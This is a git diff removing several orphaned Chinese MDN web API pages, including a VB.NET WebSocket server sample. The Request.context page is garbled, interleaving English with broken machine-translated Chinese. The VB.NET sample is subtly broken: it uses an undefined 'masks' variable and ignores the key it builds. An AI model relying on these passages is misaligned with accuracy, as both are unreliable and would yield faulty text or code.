-<p>这个例子返回了所有 class 为 "note" 或者 "alert" 的 div 元素的一个列表:</p> - -<pre class="brush: js notranslate">var matches = document.querySelectorAll("div.note, div.alert");</pre> - -<p>Here, we get a list of <code><p></code> elements whose immediate parent element is a {{domxref("div")}} with the class <code>"highlighted"</code> and which are located inside a container whose ID is <code>"test"</code>.</p> - -<pre class="brush: js notranslate">var container = document.querySelector("#test"); -var matches = container.querySelectorAll("div.highlighted > p");</pre> - -<p>This example uses an <a href="/en-US/docs/Web/CSS/Attribute_selectors">attribute selector</a> to return a list of the {{domxref("iframe")}} elements in the document that contain an attribute named <code>"data-src"</code>:</p> - -<pre class="brush: js notranslate">var matches = document.querySelectorAll("iframe[data-src]");</pre> - -<p>Here, an attribute selector is used to return a list of the list items contained within a list whose ID is <code>"userlist"</code> which have a <code>"data-active"</code> attribute whose value is <code>"1"</code>:</p> - -<pre class="brush: js notranslate">var container = document.querySelector("#userlist"); -var matches = container.querySelectorAll("li[data-active=1]");</pre> - -<h2 id="User_notes">User notes</h2> - -<p><code>querySelectorAll()</code> behaves differently than most common JavaScript DOM libraries, which might lead to unexpected results.</p> - -<h3 id="HTML">HTML</h3> - -<p>Consider this HTML, with its three nested {{HTMLElement("div")}} blocks.</p> - -<pre class="brush: html notranslate"><div class="outer"> - <div class="select"> - <div class="inner"> - </div> - </div> -</div></pre> - -<h3 id="JavaScript">JavaScript</h3> - -<pre class="brush: js notranslate">var select = document.querySelector('.select'); -var inner = select.querySelectorAll('.outer .inner'); -inner.length; // 1, not 0! -</pre> - -<p>In this example, when selecting <code>".outer .inner"</code> in the context the <code><div></code> with the class <code>"select"</code>, the element with the class <code>".inner"</code> is still found, even though <code>.outer</code> is not a descendant of the base element on which the search is performed (<code>".select"</code>). By default, <code>querySelectorAll()</code> only verifies that the last element in the selector is within the search scope.</p> - -<p>The {{cssxref(":scope")}} pseudo-class restores the expected behavior, only matching selectors on descendants of the base element:</p> - -<pre class="brush: js notranslate">var select = document.querySelector('.select'); -var inner = select.querySelectorAll(':scope .outer .inner'); -inner.length; // 0</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td> - <td>{{Spec2("DOM WHATWG")}}</td> - <td>Living standard</td> - </tr> - <tr> - <td>{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td> - <td>{{Spec2("Selectors API Level 2")}}</td> - <td>No change</td> - </tr> - <tr> - <td>{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td> - <td>{{Spec2("DOM4")}}</td> - <td>Initial definition</td> - </tr> - <tr> - <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td> - <td>{{Spec2("Selectors API Level 1")}}</td> - <td>Original definition</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.ParentNode.querySelectorAll")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Locating DOM elements using selectors</a></li> - <li><a href="/en-US/docs/Code_snippets/QuerySelector">Code snippets for <code>querySelector()</code></a></li> - <li><a href="/en-US/docs/Web/CSS/Attribute_selectors">Attribute selectors</a> in the CSS Guide</li> - <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors">Attribute selectors</a> in the MDN Learning Area</li> - <li>This method is available as {{domxref("Element.querySelectorAll()")}}, {{domxref("Document.querySelectorAll()")}}, and {{domxref("DocumentFragment.querySelectorAll()")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/parentnode/replacechildren/index.html b/files/zh-cn/orphaned/web/api/parentnode/replacechildren/index.html deleted file mode 100644 index d01a334fd7..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/replacechildren/index.html +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: ParentNode.replaceChildren() -slug: orphaned/Web/API/ParentNode/replaceChildren -translation_of: Web/API/ParentNode/replaceChildren -original_slug: Web/API/ParentNode/replaceChildren ---- -<div>{{APIRef("DOM")}}{{seecompattable}}</div> - -<p><strong><code>ParentNode.replaceChildren()</code></strong> 方法将一个 {{domxref("Node")}} 的后代替换为指定的后代集合。这些新的后代可以为 {{domxref("DOMString")}} 或 {{domxref("Node")}} 对象。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox notranslate">// [Throws, Unscopable] -ParentNode.replaceChildren(...<var>nodesOrDOMStrings</var>) // 返回 undefined -</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code><var>nodesOrDOMStrings</var></code></dt> - <dd>一组用于替换 <code>ParentNode</code> 现有后代的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。若没有指定替代对象时,<code>ParentNode</code> 的所有后代都将被清空。</dd> -</dl> - -<h3 id="异常">异常</h3> - -<ul> - <li>{{domxref("HierarchyRequestError")}}: 当违反了<a href="https://dom.spec.whatwg.org/#concept-node-tree">节点树的约束条件</a>时抛出。</li> -</ul> - -<h2 id="例子">例子</h2> - -<h3 id="清空一个节点">清空一个节点</h3> - -<p><code>replaceChildren()</code> 为清空一个节点的后代提供了非常方便的机制,您只需在父节点不指定任何实参调用该方法即可。</p> - -<pre class="brush: js notranslate">myNode.replaceChildren();</pre> - -<h3 id="在父节点之间转移节点">在父节点之间转移节点</h3> - -<p><code>replaceChildren()</code> 允许您更轻松地在父节点之间转移节点,而无需依赖冗余的循环代码。例如,有一个简单的应用程序让您选择您派对上的食物。它的 HTML 可能如下:</p> - -<pre class="brush: html notranslate"><h2>派对食物列表</h2> - -<main> - <div> - <label for="no">不,谢谢了!</label> - - <select id="no" multiple size="10"> - <option>苹果</option> - <option>橘子</option> - <option>葡萄</option> - <option>香蕉</option> - <option>奇异果</option> - <option>巧克力饼干</option> - <option>花生饼干</option> - <option>巧克力棒</option> - <option>火腿三明治</option> - <option>乳酪三明治</option> - <option>沙拉三明治</option> - <option>冰淇淋</option> - <option>果冻</option> - <option>胡萝卜和鹰嘴豆泥</option> - <option>玛格丽特披萨</option> - <option>腊肠比萨</option> - <option>素比萨</option> - </select> - </div> - - <div class="buttons"> - <button id="to-yes">转移到"是" --&gt;</button> - <button id="to-no">&lt;-- 转移到 "否"</button> - </div> - - <div> - <label for="yes">是的,请!</label> - - <select id="yes" multiple size="10"> - - </select> - </div> -</main></pre> - -<p>使用一些简单的 CSS 将两个选择列表排成一行,并将控制按钮放置在它们之间是很有意义的:</p> - -<pre class="brush: css notranslate">main { - display: flex; -} - -div { - margin-right: 20px; -} - -label, button { - display: block; -} - -.buttons { - display: flex; - flex-flow: column; - justify-content: center; -} - -select { - width: 200px; -}</pre> - -<p>我们要做的是,当按下 “是” 按钮时,将 “否” 列表中的所有选定选项都转移到 “是” 列表中,然后当按下“否”按钮时,将 “是” 列表中的所有选定选项都转移到 “否” 列表中。</p> - -<p>为此,我们为每个按钮提供一个 click 事件处理句柄,该事件句柄将所选选项赋值到第一个常量中,将要转移到的列表中的现有的选项赋值到第二个常量中。然后,它会调用列表的 <code>replaceChildren()</code> 方法,使用延展运算符传入两个常量,进而将两个常量中包含的所有选项转移到目标列表。</p> - -<pre class="brush: js notranslate">const noSelect = document.getElementById('no'); -const yesSelect = document.getElementById('yes'); -const noBtn = document.getElementById('to-no'); -const yesBtn = document.getElementById('to-yes'); - -yesBtn.addEventListener('click', () => { - const selectedTransferOptions = document.querySelectorAll('#no option:checked'); - const existingYesOptions = document.querySelectorAll('#yes option'); - yesSelect.replaceChildren(...selectedTransferOptions, ...existingYesOptions); -}); - -noBtn.addEventListener('click', () => { - const selectedTransferOptions = document.querySelectorAll('#yes option:checked'); - const existingNoOptions = document.querySelectorAll('#no option'); - noSelect.replaceChildren(...selectedTransferOptions, ...existingNoOptions); -});</pre> - -<p>最终结果如下:</p> - -<p>{{EmbedLiveSample('Transferring_nodes_between_parents', '100%', '350')}}</p> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-parentnode-replacechildren', 'ParentNode.replaceChildren()')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.ParentNode.replaceChildren")}}</p> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{domxref("ParentNode")}} and {{domxref("ChildNode")}}</li> - <li>{{domxref("ParentNode.prepend()")}}</li> - <li>{{domxref("ParentNode.append()")}}</li> - <li>{{domxref("NodeList")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/renderingcontext/index.html b/files/zh-cn/orphaned/web/api/renderingcontext/index.html deleted file mode 100644 index 9133b5fd7f..0000000000 --- a/files/zh-cn/orphaned/web/api/renderingcontext/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: RenderingContext -slug: orphaned/Web/API/RenderingContext -translation_of: Web/API/RenderingContext -original_slug: Web/API/RenderingContext ---- -<p>{{APIRef("Canvas API")}}</p> - -<p><code><strong>RenderingContext</strong></code> 是一个辅助类型,描述下面任何一个渲染上下文: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} 或者 {{domxref("WebGL2RenderingContext")}} (继承自 <code>WebGLRenderingContext</code>)。</p> - -<p>这是简化规范的辅助类型,它不是一个接口,也没有对象实现它。</p> - -<h2 id="规范描述">规范描述</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<p> </p> diff --git a/files/zh-cn/orphaned/web/api/request/context/index.html b/files/zh-cn/orphaned/web/api/request/context/index.html deleted file mode 100644 index cc073a988b..0000000000 --- a/files/zh-cn/orphaned/web/api/request/context/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Request.context -slug: orphaned/Web/API/Request/context -translation_of: Web/API/Request/context -original_slug: Web/API/Request/context ---- -<div>{{APIRef("Fetch")}}{{deprecated_header()}}</div> - -<p><span class="seoSummary">The deprecated </span><font><font>弃用</font></font><strong><code>context</code></strong><font><font>所述的只读属性{{domxref("请求")}}接口包含请求的上下文(例如,</font></font><code>audio</code><font><font>,</font></font><code>image</code><font><font>,</font></font><code>iframe</code><font><font>)。</font></font><font><font>这定义了要获取的资源类型。</font><font>它已由{{domxref("Request.destination”,“ destination")}}属性取代。</font></font> This defines what sort of resource is being fetched. This has been replaced by the {{domxref("Request.destination", "destination")}} property.</p> - -<p>The context of a request is only relevant in the <font><font>请求的上下文仅与</font></font><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API"><font><font>ServiceWorker API</font></font></a><font><font>相关</font><font>;</font><font>服务人员可以根据URL是用于图像还是可嵌入对象(例如{{htmlelement("视频")}},{{domxref("iframe")}}等)进行决策。</font></font>; a service worker can make decisions based on whether the URL is for an image, or an embeddable object such as a {{htmlelement("video")}}, {{domxref("iframe")}}, etc.</p> - -<div class="note"> -<p><strong>Note<font><font>注意</font></font></strong><font><font>:您可以在“ </font></font><a href="https://fetch.spec.whatwg.org/#concept-request-context"><font><font>获取规范请求上下文”</font></font></a><font><font>部分中</font><font>找到不同可用上下文的完整列表,包括关联的上下文框架类型,CSP指令和平台功能示例</font><font>。</font></font> section.</p> -</div> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox notranslate">var <var>myContext</var> = <var>request</var>.context;</pre> - -<h3 id="Value">Value</h3> - -<p>A {{domxref("RequestContext")}} value.一个{{domxref("RequestContext")}}值。</p> - -<h2 id="Example例子">Example<font><font>例子</font></font></h2> - -<p>In the following snippet, we create a new request using the {{domxref("Request.Request()")}} constructor (for an image file in the same directory as the script), then save the request context in a variable:在以下代码段中,我们使用{{domxref("Request.Request()")}}}构造函数创建一个新请求(用于与脚本位于同一目录中的图像文件),然后将请求上下文保存在变量中:</p> - -<pre class="brush: js notranslate">var myRequest = new Request('flowers.jpg'); -var myContext = myRequest.context; // returns the empty string by default</pre> - -<h2 id="Browser_compatibility浏览器兼容性">Browser compatibility<font><font>浏览器兼容性</font></font></h2> - -<p>{{Compat("api.Request.context")}}</p> - -<h2 id="更多">更多</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> - <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> - <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/rtcpeerconnection/getdefaulticeservers/index.html b/files/zh-cn/orphaned/web/api/rtcpeerconnection/getdefaulticeservers/index.html deleted file mode 100644 index ff36e1741e..0000000000 --- a/files/zh-cn/orphaned/web/api/rtcpeerconnection/getdefaulticeservers/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: RTCPeerConnection.getDefaultIceServers() -slug: orphaned/Web/API/RTCPeerConnection/getDefaultIceServers -translation_of: Web/API/RTCPeerConnection/getDefaultIceServers -original_slug: Web/API/RTCPeerConnection/getDefaultIceServers ---- -<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p> - -<p>{{domxref("RTCPeerConnection")}} 接口的方法 <code><strong>getDefaultIceServers()</strong></code> 返回一个基于 {{domxref("RTCIceServer")}} 字典的对象数组。如果在 {{domxref("RTCPeerConnection")}} 的 {{domxref("RTCConfiguration")}} 中没有设置,该数组指向浏览器缺省使用的ICE servers,前提是浏览器确实存在缺省的ICE servers。然而,浏览器完全不必提供任何的缺省ICE Servers。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"> var <em>defaultIceServers</em> = <em>RTCPeerConnection</em>.getDefaultIceServers();</pre> - -<h3 id="返回值">返回值</h3> - -<p>一个 ICE servers 的数组,以基于 {{domxref("RTCIceServer")}} 的对象组成,当没有在 {{domxref("RTCPeerConnection")}} 的设置中进行设置时,浏览器将使用它们。如果浏览器没有提供缺省值,将返回一个空数组,该属性的值永远不是 <code>null</code>。</p> - -<h2 id="例子">例子</h2> - -<pre class="brush: js">var pc = new RTCPeerConnection(); -var iceServers = pc.getDefaultIceServers(); - -if (iceServers.length === 0) { - // Deal with the lack of default ICE servers, possibly by using our own defaults -}</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td><a href="https://w3c.github.io/webrtc-extensions/#dom-rtcpeerconnection-getdefaulticeservers">WebRTC Extensions</a></td> - <td></td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("api.RTCPeerConnection.getDefaultIceServers")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li> - <li>{{domxref("RTCConfiguration")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/textrange/text/index.html b/files/zh-cn/orphaned/web/api/textrange/text/index.html deleted file mode 100644 index 8c20714e44..0000000000 --- a/files/zh-cn/orphaned/web/api/textrange/text/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: TextRange.text -slug: orphaned/Web/API/TextRange/text -tags: - - API - - DHTML - - DOM - - TextRange -original_slug: Web/API/TextRange/text ---- -<div>{{ ApiRef("DOM") }}{{Non-standard_Header}}</div> - -<div class="blockIndicator warning"> -<p><strong>IE Only</strong></p> -该属性是IE专有的。尽管IE很好地支持它,但大部分其它浏览器已经不支持该属性。该属性仅应在需兼容低版本IE时作为其中一种方案,而不是在跨浏览器的脚本中完全依赖它。</div> - -<p>{{domxref("TextRange")}} 接口中的属性 <strong><code>text</code></strong> 用于以 {{domxref("DOMString")}} 形式获取或设置区域内的纯文本内容。该更改直接作用到 DOM 树中,并清除区域内原有的非纯文本元素。注意,该属性忽略所有格式数据,因此若要获取选区中的HTML内容,请使用 {{domxref("TextRange.htmlText")}} 属性。</p> - -<h2 id="语法">语法</h2> - -<pre>var tS<em>tring</em> = <em>textRange</em>.text; -<em>textRange</em>.text = oString; -</pre> - -<h3 id="返回值">返回值</h3> - -<p>一个 {{domxref("DOMString")}}。</p> - -<h2 id="示例">示例</h2> - -<p>以下示例在IE9以下有效。该示例通过 <code>document.selection</code> 获取 <code>TextRange</code>,并过滤选区中的富文本元素。IE9以上支持标准的替代方案 {{domxref("Range")}}。</p> - -<pre class="brush:js">var range = document.selection.createRange(); -range.htmlText = range.text; -// 将富文本内容设置为纯文本内容,则区域也就变为纯文本。 -</pre> - -<h2 id="开发者笔记">开发者笔记</h2> - -<h3 id="关于_text_属性">关于 text 属性</h3> - -<p>注意,当通过该属性操作或获取时,不会得到包含非纯文本的信息;如果通过该属性设置,则区域内的元素将被删除,之后通常会变为一个包含指定内容的文本节点。因此,即使通过这个属性操作纯文本内容,结果也将剔除原先的所有格式数据。</p> - -<p>如果希望脚本的功能明确可读,最好的办法是不要同时使用该属性和 <code>htmlText</code> 属性设置数据。另外,该属性不是标准的,它从IE4开始在IE中实现,但不在其它浏览器的规范中。</p> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="row" style="width: 15px;"></th> - <th scope="col">IE</th> - <th scope="col">其它浏览器</th> - </tr> - </thead> - <tbody> - <tr> - <th scope="row" style="width: 15%;">{{domxref("TextRange.text")}} {{non-standard_inline()}}</th> - <td>支持(IE9后应使用标准API)</td> - <td style="width: 60%;">不支持(详见<a href="/zh-CN/docs/Web/API/Selection_API">Selection API</a>)</td> - </tr> - </tbody> -</table> - -<h2 id="See_also" name="See_also">扩展</h2> - -<ul> - <li>{{domxref("TextRange")}} 作为该属性的实现接口</li> - <li>{{domxref("Selection")}} 及 {{domxref("Range")}} 标准接口</li> - <li><a href="/zh-CN/docs/Web/API/Selection_API">Selection API</a> 用于取代该非标准接口</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/typeinfo/index.html b/files/zh-cn/orphaned/web/api/typeinfo/index.html deleted file mode 100644 index cb47bcd1b7..0000000000 --- a/files/zh-cn/orphaned/web/api/typeinfo/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: TypeInfo -slug: orphaned/Web/API/TypeInfo -tags: - - TypeInfo -translation_of: Web/API/TypeInfo -original_slug: Web/API/TypeInfo ---- -<p>{{APIRef("DOM")}} {{obsolete_header}}</p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{domxref("TypeInfo.typeName")}} {{Readonlyinline}}</dt> - <dd>Returns a {{domxref("DOMString")}}.</dd> - <dt>{{domxref("TypeInfo.typeNamespace")}} {{Readonlyinline}}</dt> - <dd>Returns a {{domxref("DOMString")}}.</dd> -</dl> - -<h2 id="方法">方法</h2> - -<dl> - <dt>{{domxref("TypeInfo.isDerivedFrom()")}}</dt> - <dd>Returns a {{jsxref("Boolean")}}</dd> -</dl> - -<h2 id="常量">常量</h2> - -<table> - <tbody> - <tr> - <th scope="row">Constant</th> - <td>Value</td> - </tr> - <tr> - <th scope="row"><code>DERIVATION_RESTRICTION</code></th> - <td>1</td> - </tr> - <tr> - <th scope="row"><code>DERIVATION_EXTENSION</code></th> - <td>2</td> - </tr> - <tr> - <th scope="row"><code>DERIVATION_UNION</code></th> - <td>4</td> - </tr> - <tr> - <th scope="row"><code>DERIVATION_LIST</code></th> - <td>8</td> - </tr> - </tbody> -</table> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName("DOM3 Core", "core.html#TypeInfo", "TypeInfo")}}</td> - <td>{{Spec2("DOM3 Core")}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> diff --git a/files/zh-cn/orphaned/web/api/uievent/cancelbubble/index.html b/files/zh-cn/orphaned/web/api/uievent/cancelbubble/index.html deleted file mode 100644 index f98af92c97..0000000000 --- a/files/zh-cn/orphaned/web/api/uievent/cancelbubble/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: event.cancelBubble -slug: orphaned/Web/API/UIEvent/cancelBubble -translation_of: Web/API/UIEvent/cancelBubble -original_slug: Web/API/UIEvent/cancelBubble ---- -<p>{{ ApiRef() }}</p> -<div class="warning"> - <strong>警告:</strong> 请使用 <a href="/zh-cn/DOM/event.stopPropagation" title="zh-cn/DOM/event.stopPropagation">event.stopPropagation()</a> 方法来代替该不标准的属性.</div> -<h3 id="Summary" name="Summary">概述</h3> -<p>{{ Deprecated_header() }} 获取或设置一个布尔值,表明当前事件是否要取消冒泡.</p> -<h3 id="Syntax" name="Syntax">语法</h3> -<pre class="eval">event.cancelBubble = <em>bool;</em> -<em>var bool</em> = event.cancelBubble; -</pre> -<p><code>bool</code> 的值为<code>true或</code><code>false</code>.</p> -<h3 id="Notes" name="Notes">备注</h3> -<p><code>如果一个事件是可冒泡的,则它的cancelBubble</code>属性的默认值为 <code>false</code>,代表允许该事件向上冒泡. 将<code>cancelBubble</code>属性设置为<code>true以后,可以阻止该事件的进一步冒泡行为.</code></p> -<p>{{ languages( { "pl": "pl/DOM/event.cancelBubble" ,"en": "en/DOM/event.cancelBubble" } ) }}</p> diff --git a/files/zh-cn/orphaned/web/api/websockets_api/websocket_server_vb.net/index.html b/files/zh-cn/orphaned/web/api/websockets_api/websocket_server_vb.net/index.html deleted file mode 100644 index c01252f31b..0000000000 --- a/files/zh-cn/orphaned/web/api/websockets_api/websocket_server_vb.net/index.html +++ /dev/null @@ -1,271 +0,0 @@ ---- -title: WebSocket Server Vb.NET -slug: orphaned/Web/API/WebSockets_API/WebSocket_Server_Vb.NET -translation_of: Web/API/WebSockets_API/WebSocket_Server_Vb.NET -original_slug: Web/API/WebSockets_API/WebSocket_Server_Vb.NET ---- -<p>{{gecko_minversion_header("2")}}{{draft}}</p> - -<p>下面的示例没有优化。没有使用 .NET 4.5 Websocket。<br> - <br> - 当前版本:</p> - -<ul> - <li>包含了一个System.Net.Sockets.TcpClient类的泛型集合</li> - <li>特性 - 自定义事件和委托处理程序</li> - <li>特性 - 线程化和实现Timers.Timer</li> - <li>演示如何使用网络流将帧写回客户机(opCode 0001)</li> - <li>是否打算作为本教程和其他贡献者的起点</li> -</ul> - -<p> </p> - -<pre>Imports System.Net.Sockets -Imports System.Net -Imports System -Imports System.Text -Imports System.Text.RegularExpressions - - -Namespace TypeDef.WebSocket - - Public Class Client - Dim _TcpClient As System.Net.Sockets.TcpClient - - Public Delegate Sub OnClientDisconnectDelegateHandler() - Public Event onClientDisconnect As OnClientDisconnectDelegateHandler - - - Sub New(ByVal tcpClient As System.Net.Sockets.TcpClient) - Me._TcpClient = tcpClient - End Sub - - - Function isConnected() As Boolean - Return Me._TcpClient.Connected - End Function - - - Sub HandShake() - Dim stream As NetworkStream = Me._TcpClient.GetStream() - Dim bytes As Byte() - Dim data As String - - While Me._TcpClient.Connected - While (stream.DataAvailable) - ReDim bytes(Me._TcpClient.Client.Available) - stream.Read(bytes, 0, bytes.Length) - data = System.Text.Encoding.UTF8.GetString(bytes) - - If (New System.Text.RegularExpressions.Regex("^GET").IsMatch(data)) Then - - Dim response As Byte() = System.Text.Encoding.UTF8.GetBytes("HTTP/1.1 101 Switching Protocols" & Environment.NewLine & "Connection: Upgrade" & Environment.NewLine & "Upgrade: websocket" & Environment.NewLine & "Sec-WebSocket-Accept: " & Convert.ToBase64String(System.Security.Cryptography.SHA1.Create().ComputeHash(Encoding.UTF8.GetBytes(New Regex("Sec-WebSocket-Key: (.*)").Match(data).Groups(1).Value.Trim() & "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"))) & Environment.NewLine & Environment.NewLine) - - stream.Write(response, 0, response.Length) - Exit Sub - Else - 'We're going to disconnect the client here, because he's not handshacking properly (or at least to the scope of this code sample) - Me._TcpClient.Close() 'The next While Me._TcpClient.Connected Loop Check should fail.. and raise the onClientDisconnect Event Thereafter - End If - End While - End While - RaiseEvent onClientDisconnect() - End Sub - - - Sub CheckForDataAvailability() - If (Me._TcpClient.GetStream().DataAvailable) Then - Dim stream As NetworkStream = Me._TcpClient.GetStream() - Dim frameCount = 2 - Dim bytes As Byte() - Dim data As String - ReDim bytes(Me._TcpClient.Client.Available) - stream.Read(bytes, 0, bytes.Length) 'Read the stream, don't close it.. - - Try - Dim length As UInteger = bytes(1) - 128 'this should obviously be a byte (unsigned 8bit value) - - If length > -1 Then - If length = 126 Then - length = 4 - ElseIf length = 127 Then - length = 10 - End If - End If - - 'the following is very inefficient and likely unnecessary.. - 'the main purpose is to just get the lower 4 bits of byte(0) - which is the OPCODE - - Dim value As Integer = bytes(0) - Dim bitArray As BitArray = New BitArray(8) - - For c As Integer = 0 To 7 Step 1 - If value - (2 ^ (7 - c)) >= 0 Then - bitArray.Item(c) = True - value -= (2 ^ (7 - c)) - Else - bitArray.Item(c) = False - End If - Next - - - Dim FRRR_OPCODE As String = "" - - For Each bit As Boolean In bitArray - If bit Then - FRRR_OPCODE &= "1" - Else - FRRR_OPCODE &= "0" - End If - Next - - - Dim FIN As Integer = FRRR_OPCODE.Substring(0, 1) - Dim RSV1 As Integer = FRRR_OPCODE.Substring(1, 1) - Dim RSV2 As Integer = FRRR_OPCODE.Substring(2, 1) - Dim RSV3 As Integer = FRRR_OPCODE.Substring(3, 1) - Dim opCode As Integer = Convert.ToInt32(FRRR_OPCODE.Substring(4, 4), 2) - - - - Dim decoded(bytes.Length - (frameCount + 4)) As Byte - Dim key As Byte() = {bytes(frameCount), bytes(frameCount+1), bytes(frameCount+2), bytes(frameCount+3)} - - Dim j As Integer = 0 - For i As Integer = (frameCount + 4) To (bytes.Length - 2) Step 1 - decoded(j) = Convert.ToByte((bytes(i) Xor masks(j Mod 4))) - j += 1 - Next - - - - Select Case opCode - Case Is = 1 - 'Text Data Sent From Client - - data = System.Text.Encoding.UTF8.GetString(decoded) - 'handle this data - - Dim Payload As Byte() = System.Text.Encoding.UTF8.GetBytes("Text Recieved") - Dim FRRROPCODE As Byte() = Convert.ToByte("10000001", 2) 'FIN is set, and OPCODE is 1 or Text - Dim header as byte() = {FRRROPCODE, Convert.ToByte(Payload.Length)} - - - Dim ResponseData As Byte() - ReDim ResponseData((header.length + Payload.Length) - 1) - 'NOTEWORTHY: if you Redim ResponseData(header.length + Payload.Length).. you'll add a 0 value byte at the end of the response data.. - 'which tells the client that your next stream write will be a continuation frame.. - - Dim index as integer = 0 - - Buffer.BlockCopy(header, 0, ResponseData, index, header.length) - index += header.length - - Buffer.BlockCopy(payload, 0, ResponseData, index, payload.length) - index += payload.length - stream.Write(ResponseData, 0, ResponseData.Length) - Case Is = 2 - '// Binary Data Sent From Client - data = System.Text.Encoding.UTF8.GetString(decoded) - Dim response As Byte() = System.Text.Encoding.UTF8.GetBytes("Binary Recieved") - stream.Write(response, 0, response.Length) - Case Is = 9 '// Ping Sent From Client - Case Is = 10 '// Pong Sent From Client - Case Else '// Improper opCode.. disconnect the client - _TcpClient.Close() - RaiseEvent onClientDisconnect() - End Select - Catch ex As Exception - _TcpClient.Close() - RaiseEvent onClientDisconnect() - End Try - End If - End Sub - End Class - - - - Public Class Server - Inherits System.Net.Sockets.TcpListener - - Delegate Sub OnClientConnectDelegate(ByVal sender As Object, ByRef Client As WebSocket.Client) - Event OnClientConnect As OnClientConnectDelegate - - - Dim WithEvents PendingCheckTimer As Timers.Timer = New Timers.Timer(500) - Dim WithEvents ClientDataAvailableTimer As Timers.Timer = New Timers.Timer(50) - Property ClientCollection As List(Of WebSocket.Client) = New List(Of WebSocket.Client) - - - - Sub New(ByVal url As String, ByVal port As Integer) - MyBase.New(IPAddress.Parse(url), port) - End Sub - - - Sub startServer() - Me.Start() - PendingCheckTimer.Start() - End Sub - - - - Sub Client_Connected(ByVal sender As Object, ByRef client As WebSocket.Client) Handles Me.OnClientConnect - Me.ClientCollection.Add(client) - AddHandler client.onClientDisconnect, AddressOf Client_Disconnected - client.HandShake() - ClientDataAvailableTimer.Start() - End Sub - - - Sub Client_Disconnected() - - End Sub - - - Function isClientDisconnected(ByVal client As WebSocket.Client) As Boolean - isClientDisconnected = False - If Not client.isConnected Then - Return True - End If - End Function - - - Function isClientConnected(ByVal client As WebSocket.Client) As Boolean - isClientConnected = False - If client.isConnected Then - Return True - End If - End Function - - - Private Sub PendingCheckTimer_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles PendingCheckTimer.Elapsed - If Pending() Then - RaiseEvent OnClientConnect(Me, New CORE.TypeDef.WebSocket.Client(Me.AcceptTcpClient())) - End If - End Sub - - - Private Sub ClientDataAvailableTimer_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles ClientDataAvailableTimer.Elapsed - Me.ClientCollection.RemoveAll(AddressOf isClientDisconnected) - If Me.ClientCollection.Count < 1 Then ClientDataAvailableTimer.Stop() - - For Each Client As WebSocket.Client In Me.ClientCollection - Client.CheckForDataAvailability() - Next - End Sub - End Class -End Namespace - 